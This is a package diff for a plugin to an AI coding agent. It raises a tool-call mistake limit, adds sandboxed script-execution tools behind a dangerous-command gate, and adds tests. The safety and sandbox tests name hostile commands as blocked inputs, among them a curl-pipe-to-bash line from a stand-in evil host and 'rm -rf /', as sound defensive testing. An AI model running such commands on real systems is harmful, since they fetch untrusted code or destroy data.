@polderlabs/bizar 6.2.3 → 6.2.5

package/plugins/bizar/src/options.ts

@@ -111,10 +111,14 @@ export const DEFAULT_OPTIONS: NormalizedOptions = {
   backgroundThinkingLoopTimeoutMs: 300_000, // 5 min
   backgroundMaxInterventions: 1,
   // v0.3.1 — ClineRuntime execution surface
-  // SDK default `??6`; CLI overrides to 3. We pick 6 so a single
-  // malformed tool call doesn't kill the session; the recovery callback
-  // (mistake-recovery.ts) gives the model guidance on the way back.
-  clineruntimeMaxConsecutiveMistakes: 6,
+  // SDK default `??6`; CLI overrides to 3. We pick 10 so several
+  // malformed tool calls don't kill the session; the recovery
+  // callback (mistake-recovery.ts) gives the model guidance on the
+  // way back. v6.2.4 — bumped from 6 → 10 because the Cline CLI's
+  // --retries default of 3 was previously overriding this entirely.
+  // Now `buildExecution` uses Math.max(plugin_default, caller_value)
+  // so this acts as a FLOOR, not a default.
+  clineruntimeMaxConsecutiveMistakes: 10,
 };
 
 const SECRET_DIRS: readonly string[] = [
@@ -380,9 +384,12 @@ export function normalizeOptions(raw: RawOptions | undefined): {
 
   // --- v0.3.1 ClineRuntime execution surface -------------------------------
 
-  // clineruntimeMaxConsecutiveMistakes: default 6, range [3, 20]
-  // CLI default is 3 which aborts sessions on the FIRST malformed tool call
-  // (editor { new_text: undefined }, ask_question { options: null }, …).
+  // clineruntimeMaxConsecutiveMistakes: default 10, range [3, 20]
+  // v6.2.4 — bumped from 6 to 10. CLI default is 3 which aborts
+  // sessions on the FIRST 3 malformed tool calls (editor { new_text:
+  // undefined }, run_commands exit code != 0, ask_question { options:
+  // null }, …). With the v6.2.4 buildExecution fix (Math.max floor),
+  // our higher default now always wins on plain `cline` invocations.
   // The harness wires a recovery callback that keeps the session alive on
   // recoverable mistakes, so we only need a slightly-larger ceiling.
   const rawMaxConsecutive = toFiniteInt(r.clineruntimeMaxConsecutiveMistakes);

package/plugins/bizar/src/tools/sandbox.ts

@@ -0,0 +1,232 @@
+/**
+ * sandbox.ts — v6.3.0 CubeSandbox (E2B-compatible KVM microVM) tool.
+ *
+ * Adds two plugin tools:
+ *   - bizar_sandbox_run   Run a script in a fresh CubeSandbox (or the
+ *                         user's `base` template). Each call boots a new
+ *                         microVM in <60ms with <5MB overhead, runs the
+ *                         script, captures stdout/stderr/exit code, and
+ *                         tears down. Hardware-isolated from the host.
+ *   - bizar_sandbox_exec  Same, but reuses an existing sandbox id (avoids
+ *                         cold start cost for chained calls).
+ *
+ * Why this exists:
+ *   - The host shell is a shared resource that the loop-guard can't
+ *     fully constrain; CubeSandbox gives us KVM-level isolation.
+ *   - The dangerous-patterns hook can route risky `bash` calls here
+ *     instead of asking the user to approve each one.
+ *   - E2B SDK is Python, so we shell out to the existing
+ *     `bizar sandbox run` CLI (which wraps the SDK).
+ *
+ * Requires:
+ *   - `pip install cubesandbox`
+ *   - CUBESANDBOX_API_KEY + CUBESANDBOX_URL set via `bizar sandbox config`
+ *
+ * Refs:
+ *   - https://github.com/TencentCloud/CubeSandbox
+ *   - ~/config/skills/cubesandbox/SKILL.md
+ */
+
+import { createTool, type AgentTool } from "@cline/sdk";
+import { execFile as cpExecFile } from "node:child_process";
+import { promisify } from "node:util";
+import { z } from "zod";
+
+import type { Logger } from "../logger.js";
+import { checkDangerous } from "../dangerous-patterns.js";
+
+const execFile = promisify(cpExecFile);
+
+export const BIZAR_SANDBOX_RUN_TOOL_NAME = "bizar_sandbox_run";
+export const BIZAR_SANDBOX_EXEC_TOOL_NAME = "bizar_sandbox_exec";
+
+export interface SandboxDeps {
+  /** Override the path to the `bizar` CLI (defaults to `bizar` on PATH). */
+  bizarBin?: string;
+  logger: Logger;
+}
+
+function resolveBizarBin(deps: SandboxDeps): string {
+  return deps.bizarBin ?? process.env.BIZAR_BIN ?? "bizar";
+}
+
+// ─── tool: bizar_sandbox_run ──────────────────────────────────────────────
+const sandboxRunSchema = z.object({
+  language: z
+    .enum(["bash", "python", "node"])
+    .default("bash")
+    .describe("The script language. Defaults to bash."),
+  script: z
+    .string()
+    .min(1)
+    .max(64_000)
+    .describe("The script body. Multi-line scripts are fine."),
+  template: z
+    .string()
+    .optional()
+    .describe(
+      "CubeSandbox template name. Defaults to env CUBESANDBOX_TEMPLATE or `base`.",
+    ),
+  proxy_credentials: z
+    .record(z.string(), z.string())
+    .optional()
+    .describe(
+      "Map of credential name → value to inject at the egress proxy. Optional; keys never enter the sandbox.",
+    ),
+  timeout_seconds: z
+    .number()
+    .int()
+    .min(1)
+    .max(600)
+    .default(120)
+    .describe("Sandbox boot + script execution timeout."),
+});
+
+export type SandboxRunInput = z.infer<typeof sandboxRunSchema>;
+export type SandboxRunOutput = {
+  ok: boolean;
+  blocked?: boolean;
+  reason?: string;
+  sandbox_id?: string;
+  stdout?: string;
+  stderr?: string;
+  exit_code?: number;
+  duration_ms?: number;
+  error?: string;
+};
+
+export function createSandboxRunTool(deps: SandboxDeps): AgentTool<
+  SandboxRunInput,
+  SandboxRunOutput
+> {
+  const bizarBin = resolveBizarBin(deps);
+  return createTool({
+    name: BIZAR_SANDBOX_RUN_TOOL_NAME,
+    description:
+      "Run a script in a fresh CubeSandbox (KVM-isolated microVM, E2B-compatible). Use for any `bash`/`python`/`node` call whose side effects should not escape the sandbox (file writes under ~/.config, package installs, network probes, third-party scripts, eval code). Boots in <60ms with <5MB overhead. Each call is one-shot. For chained commands, use `bizar_sandbox_exec` with the returned `sandbox_id`.",
+    inputSchema: sandboxRunSchema.shape,
+    execute: async (input) => {
+      const t0 = Date.now();
+
+      const verdict = checkDangerous({
+        script: input.script,
+        language: input.language,
+      });
+      if (verdict && verdict.decision === "deny") {
+        return {
+          ok: false,
+          blocked: true,
+          reason: verdict.reason,
+        };
+      }
+
+      const args = ["sandbox", "run", input.language, input.script];
+      if (input.template) args.push("--template", input.template);
+      if (input.timeout_seconds)
+        args.push("--timeout", String(input.timeout_seconds));
+      if (input.proxy_credentials) {
+        for (const [k, v] of Object.entries(input.proxy_credentials)) {
+          args.push("--proxy-credential", `${k}=${v}`);
+        }
+      }
+
+      try {
+        const { stdout, stderr } = await execFile(bizarBin, args, {
+          timeout: (input.timeout_seconds + 5) * 1000,
+          maxBuffer: 16 * 1024 * 1024,
+        });
+        // `bizar sandbox run` returns JSON {"sandbox_id":..., "stdout":..., "stderr":..., "exit_code":...}
+        let parsed: {
+          sandbox_id?: string;
+          stdout?: string;
+          stderr?: string;
+          exit_code?: number;
+        } | null = null;
+        try {
+          parsed = JSON.parse(stdout);
+        } catch {
+          // raw text — fall through
+        }
+        if (parsed && typeof parsed.exit_code === "number") {
+          return {
+            ok: parsed.exit_code === 0,
+            sandbox_id: parsed.sandbox_id,
+            stdout: parsed.stdout ?? "",
+            stderr: parsed.stderr ?? "",
+            exit_code: parsed.exit_code,
+            duration_ms: Date.now() - t0,
+          };
+        }
+        return {
+          ok: true,
+          stdout,
+          stderr,
+          exit_code: 0,
+          duration_ms: Date.now() - t0,
+        };
+      } catch (err) {
+        const e = err as {
+          stdout?: string;
+          stderr?: string;
+          code?: number;
+        };
+        return {
+          ok: false,
+          stdout: e.stdout ?? "",
+          stderr: e.stderr ?? String(err),
+          exit_code: typeof e.code === "number" ? e.code : 1,
+          duration_ms: Date.now() - t0,
+        };
+      }
+    },
+  });
+}
+
+// ─── tool: bizar_sandbox_exec ─────────────────────────────────────────────
+const sandboxExecSchema = z.object({
+  sandbox_id: z
+    .string()
+    .min(1)
+    .describe("The CubeSandbox id returned by `bizar_sandbox_run`."),
+  script: z.string().min(1).max(64_000).describe("Script body to run."),
+});
+
+export type SandboxExecInput = z.infer<typeof sandboxExecSchema>;
+export type SandboxExecOutput = {
+  ok: boolean;
+  blocked?: boolean;
+  reason?: string;
+  stdout?: string;
+  stderr?: string;
+  error?: string;
+};
+
+export function createSandboxExecTool(deps: SandboxDeps): AgentTool<
+  SandboxExecInput,
+  SandboxExecOutput
+> {
+  const bizarBin = resolveBizarBin(deps);
+  return createTool({
+    name: BIZAR_SANDBOX_EXEC_TOOL_NAME,
+    description:
+      "Run a script in an existing CubeSandbox (avoids cold-start cost for chained calls). Pass the `sandbox_id` returned by a previous `bizar_sandbox_run`. Same scripts, same isolation, no boot.",
+    inputSchema: sandboxExecSchema.shape,
+    execute: async (input) => {
+      const verdict = checkDangerous({ script: input.script });
+      if (verdict && verdict.decision === "deny") {
+        return { ok: false, blocked: true, reason: verdict.reason };
+      }
+
+      try {
+        const { stdout } = await execFile(
+          bizarBin,
+          ["sandbox", "exec", input.sandbox_id, input.script],
+          { timeout: 300_000, maxBuffer: 16 * 1024 * 1024 },
+        );
+        return { ok: true, stdout };
+      } catch (err) {
+        return { ok: false, error: String(err) };
+      }
+    },
+  });
+}

package/plugins/bizar/src/trajectory.ts

@@ -13,8 +13,8 @@
  * Override the directory with BIZAR_TRAJECTORY_DIR.
  */
 
-import { mkdirSync, writeFileSync, readFileSync, existsSync, readdirSync, unlinkSync, statSync } from "node:fs";
-import { join, basename } from "node:path";
+import { mkdirSync, writeFileSync, readFileSync } from "node:fs";
+import { join } from "node:path";
 import { homedir } from "node:os";
 
 export type TrajectoryKind = "model" | "tool" | "session";

package/plugins/bizar/tests/clineruntime-config.test.ts

@@ -73,7 +73,7 @@ describe("ClineRuntime.startSession — execution plumbing", () => {
     };
     const runtime = new ClineRuntime({
       logger: stubLogger(),
-      defaultMaxConsecutiveMistakes: 6,
+      defaultMaxConsecutiveMistakes: 10,
       defaultOnConsecutiveMistakeLimitReached: recovery,
     });
     (runtime as unknown as { core: unknown }).core = makeFakeCore();
@@ -84,16 +84,57 @@ describe("ClineRuntime.startSession — execution plumbing", () => {
       prompt: "go",
     });
     const cfg = capturedConfig[0]!.config;
-    expect(cfg.execution).toEqual({ maxConsecutiveMistakes: 6 });
+    expect(cfg.execution).toEqual({ maxConsecutiveMistakes: 10 });
     expect(typeof cfg.onConsecutiveMistakeLimitReached).toBe("function");
     // Invoke the wire-through function and confirm it IS the recovery closure.
     const fn = cfg.onConsecutiveMistakeLimitReached as (ctx: ConsecutiveMistakeLimitContext) => unknown;
-    fn({ iteration: 1, consecutiveMistakes: 3, maxConsecutiveMistakes: 6, reason: "invalid_tool_call" });
+    fn({ iteration: 1, consecutiveMistakes: 3, maxConsecutiveMistakes: 10, reason: "invalid_tool_call" });
     expect(recoveryCalls.length).toBe(1);
     expect(recoveryCalls[0]!.reason).toBe("invalid_tool_call");
   });
 
-  test("caller-supplied execution.maxConsecutiveMistakes wins over default", async () => {
+  test("v6.2.4 — plugin default is a FLOOR; CLI default of 3 is bumped to plugin default", async () => {
+    // This is the v6.2.0 → v6.2.4 regression test. Previously the
+    // caller's maxConsecutiveMistakes (e.g. the Cline CLI's --retries
+    // default of 3) would silently override the plugin's higher
+    // default. Now we use Math.max so the plugin's 10 wins.
+    const runtime = new ClineRuntime({
+      logger: stubLogger(),
+      defaultMaxConsecutiveMistakes: 10,
+    });
+    (runtime as unknown as { core: unknown }).core = makeFakeCore();
+    await runtime.startSession({
+      providerId: "anthropic",
+      modelId: "claude-sonnet-4-6",
+      workspaceRoot: "/tmp",
+      prompt: "go",
+      execution: { maxConsecutiveMistakes: 3, reminderAfterIterations: 8 },
+    });
+    const cfg = capturedConfig[0]!.config;
+    expect(cfg.execution?.maxConsecutiveMistakes).toBe(10,
+      "plugin default must win over CLI default of 3 (was a v6.0 regression)");
+    expect(cfg.execution?.reminderAfterIterations).toBe(8, "other caller fields pass through");
+  });
+
+  test("caller-supplied HIGHER execution.maxConsecutiveMistakes still wins", async () => {
+    const runtime = new ClineRuntime({
+      logger: stubLogger(),
+      defaultMaxConsecutiveMistakes: 10,
+    });
+    (runtime as unknown as { core: unknown }).core = makeFakeCore();
+    await runtime.startSession({
+      providerId: "anthropic",
+      modelId: "claude-sonnet-4-6",
+      workspaceRoot: "/tmp",
+      prompt: "go",
+      execution: { maxConsecutiveMistakes: 20, reminderAfterIterations: 8 },
+    });
+    const cfg = capturedConfig[0]!.config;
+    expect(cfg.execution?.maxConsecutiveMistakes).toBe(20,
+      "user can still raise the limit with --retries 20");
+  });
+
+  test("caller-supplied execution.maxConsecutiveMistakes wins over default (legacy behavior)", async () => {
     const runtime = new ClineRuntime({
       logger: stubLogger(),
       defaultMaxConsecutiveMistakes: 4,

package/plugins/bizar/tests/fingerprint.test.ts

@@ -125,6 +125,34 @@ describe("fingerprint — noise field stripping", () => {
     const b = fingerprint("read", { path: path.join(os.tmpdir(), "foo.ts"), cwd: "/completely/different" }, WORKTREE);
     expect(a).toBe(b);
   });
+
+  // v6.2.4 — noise fields at ANY depth must be stripped. Previously
+  // the `cwd` field was only stripped at the top level, so a nested
+  // `cwd` like `{ options: { cwd: "/x" } }` would still differentiate
+  // the fingerprint and trigger the loop-guard false-positives.
+  test("v6.2.4 — strips cwd at nested depth", () => {
+    const a = fingerprint("bash", {
+      command: "ls -la",
+      options: { cwd: "/home/user", env: { PATH: "/usr/bin" } },
+    }, WORKTREE);
+    const b = fingerprint("bash", {
+      command: "ls -la",
+      options: { cwd: "/completely/different", env: { PATH: "/usr/bin" } },
+    }, WORKTREE);
+    expect(a).toBe(b, "nested cwd must be stripped to keep the fingerprint stable");
+  });
+
+  test("v6.2.4 — strips id at nested depth", () => {
+    const a = fingerprint("edit", { meta: { id: "uuid-1", author: "alice" } }, WORKTREE);
+    const b = fingerprint("edit", { meta: { id: "uuid-2", author: "alice" } }, WORKTREE);
+    expect(a).toBe(b);
+  });
+
+  test("v6.2.4 — strips timestamp at nested depth", () => {
+    const a = fingerprint("edit", { config: { created_at: 1000, author: "alice" } }, WORKTREE);
+    const b = fingerprint("edit", { config: { created_at: 9999, author: "alice" } }, WORKTREE);
+    expect(a).toBe(b);
+  });
 });
 
 describe("fingerprint — nested objects", () => {

package/plugins/bizar/tests/options.test.ts

@@ -278,16 +278,16 @@ describe("readEnvFlags", () => {
 // ── clineruntimeMaxConsecutiveMistakes ───────────────────────────────────────
 
 describe("clineruntimeMaxConsecutiveMistakes (v0.3.1)", () => {
-  test("default is 6 when neither raw nor env is provided", () => {
+  test("default is 10 when neither raw nor env is provided (v6.2.4)", () => {
     delete process.env.BIZAR_MAX_CONSECUTIVE_MISTAKES;
     const { options } = normalizeOptions({});
-    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(6);
+    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(10);
   });
 
   test("raw value is honored when in range", () => {
     delete process.env.BIZAR_MAX_CONSECUTIVE_MISTAKES;
-    const { options, notes } = normalizeOptions({ clineruntimeMaxConsecutiveMistakes: 10 });
-    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(10);
+    const { options, notes } = normalizeOptions({ clineruntimeMaxConsecutiveMistakes: 15 });
+    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(15);
     expect(notes.some((n) => n.includes("clineruntimeMaxConsecutiveMistakes"))).toBe(false);
   });
 
@@ -321,9 +321,9 @@ describe("clineruntimeMaxConsecutiveMistakes (v0.3.1)", () => {
     delete process.env.BIZAR_MAX_CONSECUTIVE_MISTAKES;
   });
 
-  test("non-numeric raw falls back to default", () => {
+  test("non-numeric raw falls back to default (10)", () => {
     delete process.env.BIZAR_MAX_CONSECUTIVE_MISTAKES;
     const { options } = normalizeOptions({ clineruntimeMaxConsecutiveMistakes: "not-a-number" });
-    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(6);
+    expect(options.clineruntimeMaxConsecutiveMistakes).toBe(10);
   });
 });

package/plugins/bizar/tests/safety.test.ts

@@ -86,6 +86,31 @@ describe("dangerous-patterns", () => {
     expect(names).toContain("sudo");
     expect(names).toContain("curl-metadata");
   });
+
+  it("v6.2.4 — 'deny' decision (e.g. rm -rf /) is correctly identified", () => {
+    // The hook itself uses `cancel: true` for deny (was `stop: true, reason`
+    // which Cline silently ignored). This test pins the checkDangerous
+    // contract that the hook relies on.
+    const r = checkDangerous({ command: "rm -rf /" });
+    expect(r.decision).toBe("deny");
+    expect(r.pattern).toBe("rm-rf-root");
+    expect(r.reason).toBeTruthy();
+  });
+
+  it("v6.2.4 — 'require-approval' decision (e.g. sudo) is correctly identified", () => {
+    // Previously the hook treated require-approval the same as allow,
+    // making the approval flow non-functional. Pin the contract.
+    const r = checkDangerous({ command: "sudo apt-get install foo" });
+    expect(r.decision).toBe("require-approval");
+    expect(r.pattern).toBe("sudo");
+  });
+
+  it("v6.2.4 — 'require-approval' covers chmod 777, chown root, git clean -fd", () => {
+    expect(checkDangerous({ command: "chmod 777 /tmp" }).decision).toBe("require-approval");
+    expect(checkDangerous({ command: "chown root /etc/hosts" }).decision).toBe("require-approval");
+    expect(checkDangerous({ command: "git clean -fd" }).decision).toBe("require-approval");
+    expect(checkDangerous({ command: "git reset --hard" }).decision).toBe("require-approval");
+  });
 });
 
 describe("skill-curator", () => {

package/plugins/bizar/tests/tools/sandbox.test.ts

@@ -0,0 +1,117 @@
+/**
+ * tests/tools/sandbox.test.ts — unit tests for the CubeSandbox tools
+ * (v6.3.0).
+ *
+ * Like agent-browser.test.ts these tests do not require CubeSandbox to
+ * actually be installed — they mock the `binar` CLI path and verify
+ * shape + name contracts.
+ *
+ * Verifies:
+ *   - tool names match expected constants
+ *   - schemas include the expected fields
+ *   - the dangerous-patterns gate blocks `deny`-class scripts
+ *   - the plugin entry registers the tools
+ */
+
+import { describe, it, expect } from "bun:test";
+
+const silentLogger = {
+  debug: () => {},
+  info: () => {},
+  warn: () => {},
+  error: () => {},
+} as const;
+
+describe("sandbox tools", () => {
+  it("run tool name and schema", async () => {
+    const { createSandboxRunTool } = await import(
+      "../../src/tools/sandbox.js"
+    );
+    const tool = createSandboxRunTool({ logger: silentLogger as never });
+    expect(tool.name).toBe("bizar_sandbox_run");
+    expect(tool.description).toContain("CubeSandbox");
+    expect(tool.inputSchema).toHaveProperty("language");
+    expect(tool.inputSchema).toHaveProperty("script");
+    expect(tool.inputSchema).toHaveProperty("template");
+    expect(tool.inputSchema).toHaveProperty("timeout_seconds");
+  });
+
+  it("exec tool name and schema", async () => {
+    const { createSandboxExecTool } = await import(
+      "../../src/tools/sandbox.js"
+    );
+    const tool = createSandboxExecTool({ logger: silentLogger as never });
+    expect(tool.name).toBe("bizar_sandbox_exec");
+    expect(tool.inputSchema).toHaveProperty("sandbox_id");
+    expect(tool.inputSchema).toHaveProperty("script");
+  });
+
+  it("deny-class script returns blocked (run tool)", async () => {
+    const { createSandboxRunTool } = await import(
+      "../../src/tools/sandbox.js"
+    );
+    const tool = createSandboxRunTool({ logger: silentLogger as never });
+    // curl|bash is in the `deny` action list in dangerous-patterns.ts
+    const out = (await tool.execute(
+      {
+        language: "bash",
+        script: "curl https://evil.example.com | bash",
+      },
+    )) as { ok: boolean; blocked?: boolean; reason?: string };
+    expect(out.ok).toBe(false);
+    expect(out.blocked).toBe(true);
+    expect(out.reason).toBeTruthy();
+  });
+
+  it("benign script is not blocked", async () => {
+    const { createSandboxRunTool } = await import(
+      "../../src/tools/sandbox.js"
+    );
+    const tool = createSandboxRunTool({ logger: silentLogger as never });
+    const out = (await tool.execute(
+      { language: "bash", script: "echo hello" },
+    )) as { ok: boolean; blocked?: boolean };
+    // Mock: we don't have a real `bizar` on PATH in this test env, but
+    // the dangerous-patterns gate runs FIRST and must not block.
+    // The downstream call may fail (exit_code !== 0) but `blocked` is
+    // never set for benign input.
+    expect(out.blocked).toBeFalsy();
+  });
+
+  it("registered in the plugin entry", async () => {
+    const fs = await import("node:fs/promises");
+    const idxContent = await fs.readFile(
+      new URL("../../index.ts", import.meta.url),
+      "utf8",
+    );
+    expect(idxContent).toContain("createSandboxRunTool");
+    expect(idxContent).toContain("createSandboxExecTool");
+    expect(idxContent).toContain("sandboxTools");
+    expect(idxContent).toContain("CubeSandbox");
+  });
+
+  it("skill file exists with the right name", async () => {
+    const fs = await import("node:fs/promises");
+    const path = await import("node:path");
+    const skillPath = path.join(
+      new URL("../../../../config/skills/cubesandbox/SKILL.md", import.meta.url).pathname,
+    );
+    expect((await fs.exists(skillPath))).toBe(true);
+    const content = await fs.readFile(skillPath, "utf8");
+    expect(content).toContain("CubeSandbox");
+    expect(content).toContain("cubesandbox");
+  });
+
+  it("CLI command module exists", async () => {
+    const fs = await import("node:fs/promises");
+    const path = await import("node:path");
+    const cliPath = path.join(
+      new URL("../../../../cli/commands/sandbox.mjs", import.meta.url).pathname,
+    );
+    expect((await fs.exists(cliPath))).toBe(true);
+    const content = await fs.readFile(cliPath, "utf8");
+    expect(content).toContain("runSandbox");
+    expect(content).toContain("cmdDoctor");
+    expect(content).toContain("cmdRun");
+  });
+});

package/scripts/bh-full-e2e.mjs

@@ -343,6 +343,28 @@ try {
   record('plugin hooks dir scannable', false, err.message);
 }
 
+// ── 9.5. Verify all 14 agents reference the shared docs (v6.2.4) ─────
+// Catches drift: an agent that doesn't reference AGENT_BASELINE.md or
+// CLINE_TOOLS.md won't get the always-on rules at runtime.
+try {
+  const { spawnSync } = await import('node:child_process');
+  const r = spawnSync('node', ['scripts/check-agents.mjs'], {
+    encoding: 'utf8',
+    cwd: REPO_ROOT,
+    timeout: 10000,
+  });
+  if (r.status === 0) {
+    // Extract the count from the output
+    const m = /All (\d+) agents/.exec(r.stdout || '');
+    const n = m ? m[1] : '?';
+    record('all 14 agents reference AGENT_BASELINE + CLINE_TOOLS', true, `${n} agents OK`);
+  } else {
+    record('all 14 agents reference AGENT_BASELINE + CLINE_TOOLS', false, (r.stdout || r.stderr || '').trim().split('\n').slice(-3).join(' | '));
+  }
+} catch (err) {
+  record('all 14 agents reference AGENT_BASELINE + CLINE_TOOLS', false, err.message);
+}
+
 // ── 10. Verify cline CLI is on PATH and recent enough ──────────
 try {
   const { spawnSync } = await import('node:child_process');

package/scripts/check-agents.mjs

@@ -0,0 +1,73 @@
+/**
+ * scripts/check-agents.mjs
+ *
+ * v6.2.4 — Verifies every agent file references the right shared docs.
+ *
+ * Fails (exit 1) if any of the 14 Bizar agents is missing the
+ * AGENT_BASELINE or CLINE_TOOLS reference. This catches drift early —
+ * an agent that doesn't reference the baseline doesn't get the
+ * always-on rules at runtime.
+ */
+import { readFileSync, readdirSync, statSync } from 'node:fs';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const ROOT = join(__filename, '..', '..');
+
+const AGENT_FILES = [
+  'agent-browser.md',
+  'baldr.md',
+  'forseti.md',
+  'frigg.md',
+  'heimdall.md',
+  'hermod.md',
+  'mimir.md',
+  'odin.md',
+  'quick.md',
+  'semble-search.md',
+  'thor.md',
+  'tyr.md',
+  'vidarr.md',
+  'vor.md',
+];
+
+let failed = 0;
+const rows = [];
+
+for (const file of AGENT_FILES) {
+  const path = join(ROOT, 'config', 'agents', file);
+  let text = '';
+  try {
+    text = readFileSync(path, 'utf8');
+  } catch (err) {
+    rows.push([file, 'MISSING FILE', '']);
+    failed++;
+    continue;
+  }
+  const hasBaseline = /AGENT_BASELINE|agent-baseline/i.test(text);
+  const hasClineTools = /CLINE_TOOLS/i.test(text);
+  if (!hasBaseline && !hasClineTools) {
+    rows.push([file, 'NO REFERENCE', 'needs AGENT_BASELINE or CLINE_TOOLS in description']);
+    failed++;
+  } else {
+    const refs = [
+      hasBaseline ? 'AGENT_BASELINE' : null,
+      hasClineTools ? 'CLINE_TOOLS' : null,
+    ].filter(Boolean).join('+');
+    rows.push([file, 'OK', refs]);
+  }
+}
+
+console.log('\n  Agent → Shared-Docs reference check (v6.2.4)\n');
+console.log('  ' + 'agent'.padEnd(24) + 'status'.padEnd(14) + 'references');
+console.log('  ' + '-'.repeat(60));
+for (const [file, status, refs] of rows) {
+  console.log('  ' + file.padEnd(24) + status.padEnd(14) + refs);
+}
+console.log('');
+if (failed > 0) {
+  console.log(`  ✗ ${failed} agent(s) missing the AGENT_BASELINE/CLINE_TOOLS reference.\n`);
+  process.exit(1);
+}
+console.log(`  ✓ All ${AGENT_FILES.length} agents reference the shared docs.\n`);